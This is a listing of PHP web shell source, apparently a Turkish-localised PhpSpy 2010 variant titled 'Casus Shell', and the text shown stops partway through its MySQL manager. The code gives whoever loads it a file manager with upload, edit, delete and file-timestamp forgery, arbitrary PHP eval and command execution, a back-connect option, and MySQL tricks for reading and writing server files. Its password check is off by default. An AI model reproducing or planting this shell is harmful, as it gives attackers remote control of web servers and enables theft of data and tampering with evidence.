· 9 years ago · Oct 07, 2016, 08:52 AM
1<?php ?><?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
8//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
9define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
10define('IS_COM', class_exists('COM') ? 1 : 0);
11define('IS_GPC', get_magic_quotes_gpc());
12$dis_func = get_cfg_var('disable_functions');
13define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
14@set_time_limit(0);
15foreach (array('_GET', '_POST') as $_request) {
16 foreach ($$_request as $_key => $_value) {
17 if ($_key{0} != '_') {
18 if (IS_GPC) {
19 $_value = s_array($_value);
20 }
21 $$_key = $_value;
22 }
23 }
24}
25/*===================== ||-Є+ф+| =====================*/
26$admin = array();
27// -|+ё-ш-к|#-ы-щ+д, true +к-ш-к-щ+д, false +к+#+++ +ы.--|ц-б-ю+Є+|-з
28$admin['check'] = 0;
29// +ч| -ш-к|#-ы-щ+д,|ы-|+-||-+|#-ы
30$admin['pass'] = 'angel';
31//+ч- |+ cookie +ў+|+|+з+-|+-т-к|є, +Є||-+#++ |г, |ы-|+---|ц#ф-+, +ё+Є|ы#г|+-м+-
32// cookie |#+|
33$admin['cookiepre'] = '';
34// cookie +ў+|+Є
35$admin['cookiedomain'] = '';
36// cookie +ў+|-++|
37$admin['cookiepath'] = '/';
38// cookie +--з|+
39$admin['cookielife'] = 86400;
40/*===================== +ф+|+с- =====================*/
41if ($charset == 'utf8') {
42 header("content-Type: text/html; charset=utf-8");
43} elseif ($charset == 'big5') {
44 header("content-Type: text/html; charset=big5");
45} elseif ($charset == 'gbk') {
46 header("content-Type: text/html; charset=gbk");
47} elseif ($charset == 'latin1') {
48 header("content-Type: text/html; charset=iso-8859-2");
49}
50$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
51$timestamp = time();
52/*===================== +э+|-щ+д =====================*/
53if ($action == "logout") {
54 scookie('phpspypass', '', -86400 * 365);
55 p('<meta http-equiv="refresh" content="1;URL=' . $self . '">');
56 p('<a style="font:12px Verdana" href="' . $self . '">Success</a>');
57 exit;
58}
59if ($admin['check']) {
60 if ($doing == 'login') {
61 if ($admin['pass'] == $password) {
62 scookie('phpspypass', $password);
63 p('<meta http-equiv="refresh" content="1;URL=' . $self . '">');
64 p('<a style="font:12px Verdana" href="' . $self . '">Success</a>');
65 exit;
66 }
67 }
68 if ($_COOKIE['phpspypass']) {
69 if ($_COOKIE['phpspypass'] != $admin['pass']) {
70 loginpage();
71 }
72 } else {
73 loginpage();
74 }
75}
76/*===================== -щ+д+с- =====================*/
77$errmsg = '';
78// #щ+|PHPINFO
79if ($action == 'phpinfo') {
80 if (IS_PHPINFO) {
81 phpinfo();
82 } else {
83 $errmsg = 'phpinfo() function has non-permissible';
84 }
85}
86// --+++-+
87if ($doing == 'downfile' && $thefile) {
88 if (!@file_exists($thefile)) {
89 $errmsg = 'The file you want Downloadable was nonexistent';
90 } else {
91 $fileinfo = pathinfo($thefile);
92 header('Content-type: application/x-' . $fileinfo['extension']);
93 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
94 header('Content-Length: ' . filesize($thefile));
95 @readfile($thefile);
96 exit;
97 }
98}
99// +#++--++#++|- +|+т
100if ($doing == 'backupmysql' && !$saveasfile) {
101 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
102 $table = array_flip($table);
103 $result = q("SHOW tables");
104 if (!$result) p('<h2>' . mysql_error() . '</h2>');
105 $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
106 header('Content-type: application/unknown');
107 header('Content-Disposition: attachment; filename=' . $filename);
108 $mysqldata = '';
109 while ($currow = mysql_fetch_array($result)) {
110 if (isset($table[$currow[0]])) {
111 $mysqldata.= sqldumptable($currow[0]);
112 }
113 }
114 mysql_close();
115 exit;
116}
117// -и| MYSQL--+++-+
118if ($doing == 'mysqldown') {
119 if (!$dbname) {
120 $errmsg = 'Please input dbname';
121 } else {
122 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
123 if (!file_exists($mysqldlfile)) {
124 $errmsg = 'The file you want Downloadable was nonexistent';
125 } else {
126 $result = q("select load_file('$mysqldlfile');");
127 if (!$result) {
128 q("DROP TABLE IF EXISTS tmp_angel;");
129 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
130 //+|-#+ф|-+|#э-+++|-,##|т|Ў-+|-+б+++э+Є# |м__angel_1111111111_eof__|-+-+ -##+-ъ+ |-|щ+Ў
131 q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
132 $result = q("select content from tmp_angel");
133 q("DROP TABLE tmp_angel");
134 }
135 $row = @mysql_fetch_array($result);
136 if (!$row) {
137 $errmsg = 'Load file failed ' . mysql_error();
138 } else {
139 $fileinfo = pathinfo($mysqldlfile);
140 header('Content-type: application/x-' . $fileinfo['extension']);
141 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
142 header("Accept-Length: " . strlen($row[0]));
143 echo $row[0];
144 exit;
145 }
146 }
147 }
148}
149?>
150<html>
151<head>
152<meta http-equiv="Content-Type" content="text/html; charset=gbk">
153<title><?php echo str_replace('.', '', 'SadrazaM | Casus Shell'); ?></title>
154<style type="text/css">
155body,td{font: 12px Arial,Tahoma;line-height: 16px;}
156.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
157.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
158.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
159a {color: #00f;text-decoration:underline;}
160a:hover{color: #f00;text-decoration:none;}
161.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
162.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
163.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
164.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
165.head td span{font-weight:normal;}
166form{margin:0;padding:0;}
167h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
168ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
169u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
170</style>
171<script type="text/javascript">
172function CheckAll(form) {
173 for(var i=0;i<form.elements.length;i++) {
174 var e = form.elements[i];
175 if (e.name != 'chkall')
176 e.checked = form.chkall.checked;
177 }
178}
179function $(id) {
180 return document.getElementById(id);
181}
182function goaction(act){
183 $('goaction').action.value=act;
184 $('goaction').submit();
185}
186</script>
187</head>
188<body style="margin:0;table-layout:fixed; word-break:break-all">
189<table width="100%" border="0" cellpadding="0" cellspacing="0">
190 <tr class="head">
191 <td><span style="float:right;"><a href="http://www.dcvi.net" target="_blank"><?php echo str_replace('.', '', 'P.h.p.S.p.y'); ?> Ver: 2010 </a></span><?php echo $_SERVER['HTTP_HOST']; ?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']); ?>)</td>
192 </tr>
193 <tr class="alt1">
194 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode'); ?></span>
195 <a href="javascript:goaction('logout');">Cıkıs</a> |
196 <a href="javascript:goaction('file');">File Manager</a> |
197 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
198 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
199 <a href="javascript:goaction('shell');">Komut Calıstır</a> |
200 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
201 <a href="javascript:goaction('eval');">Eval PHP Code</a>
202 <?php if (!IS_WIN) { ?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php
203} ?>
204 </td>
205 </tr>
206</table>
207<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
208<?php
209formhead(array('name' => 'goaction'));
210makehide('action');
211formfoot();
212$errmsg && m($errmsg);
213// +ё+б|#|#-++|
214!$dir && $dir = '.';
215$nowpath = getPath(SA_ROOT, $dir);
216if (substr($dir, -1) != '/') {
217 $dir = $dir . '/';
218}
219$uedir = ue($dir);
220if (!$action || $action == 'file') {
221 // +-|-|--||щ+Ў
222 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
223 // ++| -+-+
224 if ($doing == 'deldir' && $thefile) {
225 if (!file_exists($thefile)) {
226 m($thefile . ' directory does not exist');
227 } else {
228 m('Directory delete ' . (deltree($thefile) ? basename($thefile) . ' success' : 'failed'));
229 }
230 }
231 // ||+и-+-+
232 elseif ($newdirname) {
233 $mkdirs = $nowpath . $newdirname;
234 if (file_exists($mkdirs)) {
235 m('Directory has already existed');
236 } else {
237 m('Directory created ' . (@mkdir($mkdirs, 0777) ? 'success' : 'failed'));
238 @chmod($mkdirs, 0777);
239 }
240 }
241 // +-|л+-+
242 elseif ($doupfile) {
243 m('File upload ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'success' : 'failed'));
244 }
245 // #р+н+-+
246 elseif ($editfilename && $filecontent) {
247 $fp = @fopen($editfilename, 'w');
248 m('Save file ' . (@fwrite($fp, $filecontent) ? 'success' : 'failed'));
249 @fclose($fp);
250 }
251 // #р+н+-+ -Ї-+
252 elseif ($pfile && $newperm) {
253 if (!file_exists($pfile)) {
254 m('The original file does not exist');
255 } else {
256 $newperm = base_convert($newperm, 8, 10);
257 m('Modify file attributes ' . (@chmod($pfile, $newperm) ? 'success' : 'failed'));
258 }
259 }
260 // +-|
261 elseif ($oldname && $newfilename) {
262 $nname = $nowpath . $newfilename;
263 if (file_exists($nname) || !file_exists($oldname)) {
264 m($nname . ' has already existed or original file does not exist');
265 } else {
266 m(basename($oldname) . ' renamed ' . basename($nname) . (@rename($oldname, $nname) ? ' success' : 'failed'));
267 }
268 }
269 // +|+|+-+
270 elseif ($sname && $tofile) {
271 if (file_exists($tofile) || !file_exists($sname)) {
272 m('The goal file has already existed or original file does not exist');
273 } else {
274 m(basename($tofile) . ' copied ' . (@copy($sname, $tofile) ? basename($tofile) . ' success' : 'failed'));
275 }
276 }
277 // +--б-#+ф
278 elseif ($curfile && $tarfile) {
279 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
280 m('The goal file has already existed or original file does not exist');
281 } else {
282 $time = @filemtime($tarfile);
283 m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
284 }
285 }
286 // ++|и-х-#+ф
287 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
288 if (!@file_exists($curfile)) {
289 m(basename($curfile) . ' does not exist');
290 } else {
291 $time = strtotime("$year-$month-$day $hour:$minute:$second");
292 m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
293 }
294 }
295 // |Є# --++
296 elseif ($doing == 'downrar') {
297 if ($dl) {
298 $dfiles = '';
299 foreach ($dl as $filepath => $value) {
300 $dfiles.= $filepath . ',';
301 }
302 $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
303 $dl = explode(',', $dfiles);
304 $zip = new PHPZip($dl);
305 $code = $zip->out;
306 header('Content-type: application/octet-stream');
307 header('Accept-Ranges: bytes');
308 header('Accept-Length: ' . strlen($code));
309 header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
310 echo $code;
311 exit;
312 } else {
313 m('Please select file(s)');
314 }
315 }
316 // + -+++| +-+
317 elseif ($doing == 'delfiles') {
318 if ($dl) {
319 $dfiles = '';
320 $succ = $fail = 0;
321 foreach ($dl as $filepath => $value) {
322 if (@unlink($filepath)) {
323 $succ++;
324 } else {
325 $fail++;
326 }
327 }
328 m('Deleted file have finishedгмchoose ' . count($dl) . ' success ' . $succ . ' fail ' . $fail);
329 } else {
330 m('Please select file(s)');
331 }
332 }
333 //#++ў-ъ#-
334 formhead(array('name' => 'createdir'));
335 makehide('newdirname');
336 makehide('dir', $nowpath);
337 formfoot();
338 formhead(array('name' => 'fileperm'));
339 makehide('newperm');
340 makehide('pfile');
341 makehide('dir', $nowpath);
342 formfoot();
343 formhead(array('name' => 'copyfile'));
344 makehide('sname');
345 makehide('tofile');
346 makehide('dir', $nowpath);
347 formfoot();
348 formhead(array('name' => 'rename'));
349 makehide('oldname');
350 makehide('newfilename');
351 makehide('dir', $nowpath);
352 formfoot();
353 formhead(array('name' => 'fileopform'));
354 makehide('action');
355 makehide('opfile');
356 makehide('dir');
357 formfoot();
358 $free = @disk_free_space($nowpath);
359 !$free && $free = 0;
360 $all = @disk_total_space($nowpath);
361 !$all && $all = 0;
362 $used = $all - $free;
363 $used_percent = @round(100 / ($all / $free), 2);
364 p('<h2>File Manager - Current disk free ' . sizecount($free) . ' of ' . sizecount($all) . ' (' . $used_percent . '%)</h2>');
365?>
366<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
367 <form action="" method="post" id="godir" name="godir">
368 <tr>
369 <td nowrap>Bulundugun Dizin (<?php echo $dir_writeable; ?>, <?php echo getChmod($nowpath); ?>)</td>
370 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath; ?>" type="text" style="width:100%;margin:0 8px;"></td>
371 <td nowrap><input class="bt" value="GO" type="submit"></td>
372 </tr>
373 </form>
374</table>
375<script type="text/javascript">
376function createdir(){
377 var newdirname;
378 newdirname = prompt('Please input the directory name:', '');
379 if (!newdirname) return;
380 $('createdir').newdirname.value=newdirname;
381 $('createdir').submit();
382}
383function fileperm(pfile){
384 var newperm;
385 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
386 if (!newperm) return;
387 $('fileperm').newperm.value=newperm;
388 $('fileperm').pfile.value=pfile;
389 $('fileperm').submit();
390}
391function copyfile(sname){
392 var tofile;
393 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
394 if (!tofile) return;
395 $('copyfile').tofile.value=tofile;
396 $('copyfile').sname.value=sname;
397 $('copyfile').submit();
398}
399function rename(oldname){
400 var newfilename;
401 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
402 if (!newfilename) return;
403 $('rename').newfilename.value=newfilename;
404 $('rename').oldname.value=oldname;
405 $('rename').submit();
406}
407function dofile(doing,thefile,m){
408 if (m && !confirm(m)) {
409 return;
410 }
411 $('filelist').doing.value=doing;
412 if (thefile){
413 $('filelist').thefile.value=thefile;
414 }
415 $('filelist').submit();
416}
417function createfile(nowpath){
418 var filename;
419 filename = prompt('Please input the file name:', '');
420 if (!filename) return;
421 opfile('editfile',nowpath + filename,nowpath);
422}
423function opfile(action,opfile,dir){
424 $('fileopform').action.value=action;
425 $('fileopform').opfile.value=opfile;
426 $('fileopform').dir.value=dir;
427 $('fileopform').submit();
428}
429function godir(dir,view_writable){
430 if (view_writable) {
431 $('godir').view_writable.value=1;
432 }
433 $('godir').dir.value=dir;
434 $('godir').submit();
435}
436</script>
437 <?php
438 tbhead();
439 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
440 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
441 p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">WebRoot</a>');
442 if ($view_writable) {
443 p(' | <a href="javascript:godir(\'' . $nowpath . '\');">View All</a>');
444 } else {
445 p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">View Writable</a>');
446 }
447 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Create File</a>');
448 if (IS_WIN && IS_COM) {
449 $obj = new COM('scripting.filesystemobject');
450 if ($obj && is_object($obj)) {
451 $DriveTypeDB = array(0 => 'Unknow', 1 => 'Removable', 2 => 'Fixed', 3 => 'Network', 4 => 'CDRom', 5 => 'RAM Disk');
452 foreach ($obj->Drives as $drive) {
453 if ($drive->DriveType == 2) {
454 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
455 } else {
456 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
457 }
458 }
459 }
460 }
461 p('</td></tr></form>');
462 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
463 //#щ+|- +-++-|+-+ |--+-+
464 $dirdata = array();
465 $filedata = array();
466 if ($view_writable) {
467 $dirdata = GetList($nowpath);
468 } else {
469 // -+-+--#э
470 $dirs = @opendir($dir);
471 while ($file = @readdir($dirs)) {
472 $filepath = $nowpath . $file;
473 if (@is_dir($filepath)) {
474 $dirdb['filename'] = $file;
475 $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
476 $dirdb['dirchmod'] = getChmod($filepath);
477 $dirdb['dirperm'] = getPerms($filepath);
478 $dirdb['fileowner'] = getUser($filepath);
479 $dirdb['dirlink'] = $nowpath;
480 $dirdb['server_link'] = $filepath;
481 $dirdb['client_link'] = ue($filepath);
482 $dirdata[] = $dirdb;
483 } else {
484 $filedb['filename'] = $file;
485 $filedb['size'] = sizecount(@filesize($filepath));
486 $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
487 $filedb['filechmod'] = getChmod($filepath);
488 $filedb['fileperm'] = getPerms($filepath);
489 $filedb['fileowner'] = getUser($filepath);
490 $filedb['dirlink'] = $nowpath;
491 $filedb['server_link'] = $filepath;
492 $filedb['client_link'] = ue($filepath);
493 $filedata[] = $filedb;
494 }
495 } // while
496 unset($dirdb);
497 unset($filedb);
498 @closedir($dirs);
499 }
500 @sort($dirdata);
501 @sort($filedata);
502 $dir_i = '0';
503 foreach ($dirdata as $key => $dirdb) {
504 if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
505 $thisbg = bg();
506 p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
507 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
508 p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
509 p('<td nowrap>' . $dirdb['mtime'] . '</td>');
510 p('<td nowrap>--</td>');
511 p('<td nowrap>');
512 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
513 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
514 p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'Are you sure will delete ' . $dirdb['filename'] . '? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Rename</a></td>');
515 p('</tr>');
516 $dir_i++;
517 } else {
518 if ($dirdb['filename'] == '..') {
519 p('<tr class=' . bg() . '>');
520 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Parent Directory</a></td>');
521 p('</tr>');
522 }
523 }
524 }
525 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
526 p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
527 makehide('action', 'file');
528 makehide('thefile');
529 makehide('doing');
530 makehide('dir', $nowpath);
531 $file_i = '0';
532 foreach ($filedata as $key => $filedb) {
533 if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
534 $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
535 $thisbg = bg();
536 p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
537 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
538 p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
539 p('<td nowrap>' . $filedb['mtime'] . '</td>');
540 p('<td nowrap>' . $filedb['size'] . '</td>');
541 p('<td nowrap>');
542 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
543 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
544 p('<td nowrap>');
545 p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Down</a> | ');
546 p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Copy</a> | ');
547 p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Edit</a> | ');
548 p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Rename</a> | ');
549 p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Time</a>');
550 p('</td></tr>');
551 $file_i++;
552 }
553 }
554 p('<tr class="' . bg() . '"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">' . $dir_i . ' directories / ' . $file_i . ' files</td></tr>');
555 p('</form></table>');
556} // end dir
557elseif ($action == 'sqlfile') {
558 if ($doing == "mysqlupload") {
559 $file = $_FILES['uploadfile'];
560 $filename = $file['tmp_name'];
561 if (file_exists($savepath)) {
562 m('The goal file has already existed');
563 } else {
564 if (!$filename) {
565 m('Please choose a file');
566 } else {
567 $fp = @fopen($filename, 'r');
568 $contents = @fread($fp, filesize($filename));
569 @fclose($fp);
570 $contents = bin2hex($contents);
571 if (!$upname) $upname = $file['name'];
572 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
573 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
574 m($result ? 'Upload success' : 'Upload has failed: ' . mysql_error());
575 }
576 }
577 }
578?>
579<script type="text/javascript">
580function mysqlfile(doing){
581 if(!doing) return;
582 $('doing').value=doing;
583 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
584 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
585 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
586 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
587 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
588 $('mysqlfile').charset.value=$('dbinfo').charset.value;
589 $('mysqlfile').submit();
590}
591</script>
592<?php
593 !$dbhost && $dbhost = 'localhost';
594 !$dbuser && $dbuser = 'root';
595 !$dbport && $dbport = '3306';
596 $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
597 formhead(array('title' => 'MYSQL Information', 'name' => 'dbinfo'));
598 makehide('action', 'sqlfile');
599 p('<p>');
600 p('DBHost:');
601 makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
602 p(':');
603 makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
604 p('DBUser:');
605 makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
606 p('DBPass:');
607 makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
608 p('DBName:');
609 makeinput(array('name' => 'dbname', 'size' => 15, 'value' => $dbname));
610 p('DBCharset:');
611 makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
612 p('</p>');
613 formfoot();
614 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
615 p('<h2>Upload file</h2>');
616 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
617 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
618 p('<h2>Download file</h2>');
619 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
620 makehide('dbhost');
621 makehide('dbport');
622 makehide('dbuser');
623 makehide('dbpass');
624 makehide('dbname');
625 makehide('charset');
626 makehide('doing');
627 makehide('action', 'sqlfile');
628 p('</form>');
629} elseif ($action == 'sqladmin') {
630 !$dbhost && $dbhost = 'localhost';
631 !$dbuser && $dbuser = 'root';
632 !$dbport && $dbport = '3306';
633 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
634 if (isset($dbhost)) {
635 $dbform.= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
636 }
637 if (isset($dbuser)) {
638 $dbform.= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
639 }
640 if (isset($dbpass)) {
641 $dbform.= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
642 }
643 if (isset($dbport)) {
644 $dbform.= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
645 }
646 if (isset($dbname)) {
647 $dbform.= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
648 }
649 if (isset($charset)) {
650 $dbform.= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
651 }
652 if ($doing == 'backupmysql' && $saveasfile) {
653 if (!$table) {
654 m('Please choose the table');
655 } else {
656 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
657 $table = array_flip($table);
658 $fp = @fopen($path, 'w');
659 if ($fp) {
660 $result = q('SHOW tables');
661 if (!$result) p('<h2>' . mysql_error() . '</h2>');
662 $mysqldata = '';
663 while ($currow = mysql_fetch_array($result)) {
664 if (isset($table[$currow[0]])) {
665 sqldumptable($currow[0], $fp);
666 }
667 }
668 fclose($fp);
669 $fileurl = str_replace(SA_ROOT, '', $path);
670 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
671 mysql_close();
672 } else {
673 m('Backup failed');
674 }
675 }
676 }
677 if ($insert && $insertsql) {
678 $keystr = $valstr = $tmp = '';
679 foreach ($insertsql as $key => $val) {
680 if ($val) {
681 $keystr.= $tmp . $key;
682 $valstr.= $tmp . "'" . addslashes($val) . "'";
683 $tmp = ',';
684 }
685 }
686 if ($keystr && $valstr) {
687 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
688 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
689 }
690 }
691 if ($update && $insertsql && $base64) {
692 $valstr = $tmp = '';
693 foreach ($insertsql as $key => $val) {
694 $valstr.= $tmp . $key . "='" . addslashes($val) . "'";
695 $tmp = ',';
696 }
697 if ($valstr) {
698 $where = base64_decode($base64);
699 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
700 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
701 }
702 }
703 if ($doing == 'del' && $base64) {
704 $where = base64_decode($base64);
705 $delete_sql = "DELETE FROM $tablename WHERE $where";
706 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
707 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
708 }
709 if ($tablename && $doing == 'drop') {
710 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
711 if (q("DROP TABLE $tablename")) {
712 m('Drop table of success');
713 $tablename = '';
714 } else {
715 m(mysql_error());
716 }
717 }
718 $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
719 formhead(array('title' => 'MYSQL Manager'));
720 makehide('action', 'sqladmin');
721 p('<p>');
722 p('DBHost:');
723 makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
724 p(':');
725 makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
726 p('DBUser:');
727 makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
728 p('DBPass:');
729 makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
730 p('DBCharset:');
731 makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
732 makeinput(array('name' => 'connect', 'value' => 'Connect', 'type' => 'submit', 'class' => 'bt'));
733 p('</p>');
734 formfoot();
735?>
